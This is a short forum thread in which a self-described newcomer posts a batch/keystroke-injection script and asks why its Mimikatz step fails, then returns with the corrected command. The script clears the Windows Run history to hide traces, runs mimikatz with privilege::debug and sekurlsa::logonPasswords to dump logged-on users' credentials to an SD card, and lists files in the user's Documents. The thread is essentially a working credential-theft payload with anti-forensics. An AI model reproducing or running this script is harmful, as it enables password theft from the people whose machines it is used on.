TWG Posted December 22, 2016 Share Posted December 22, 2016 Can anyone tell me why the Mimikatz portion of this script is not running? It does create the text files however they are empty. Ima newb as if you didn't know.... Thanks in advance.. @echo off REM Delete registry keys storing Run dialog history REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f REM Creates directory compromised of computer name, date and time REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious set dst=%~d0\slurp\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-10,1%%time:~-8,2%%time:~-5,2% mkdir %dst% REM Run mimikatz 64bit from SD card and save log file to SD STRING %dst%\x64\mimikatz.exe > %dst%\64.txt ENTER DELAY 1000 STRING priviege::debug ENTER DELAY 1000 STRING sekurlsa::logonPasswords full ENTER REM Run mimikatz 32bit from SD card and save log file to SD STRING %dst%\x32\mimikatz.exe > %dst%\32.txt ENTER DELAY 1000 STRING priviege::debug ENTER STRING sekurlsa::logonPasswords full ENTER DIR C:\*.* > %dst%\dir.txt DIR %USERPROFILE%\Documents\*.* /S >> %dst%\dir.txt @cls @exit Quote Link to comment Share on other sites More sharing options...
TWG Posted December 22, 2016 Author Share Posted December 22, 2016 Works now... If you can delete this post I would appreciate it. If only I could spell privilege and STRING %dst%\x32\mimikatz.exe > %dst%\32.txt should be %~d0%\x64\mimikatz.exe priviege::debug sekurlsa::logonPasswords > %dst%\64.txt Just staring at the screen too long I guess Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.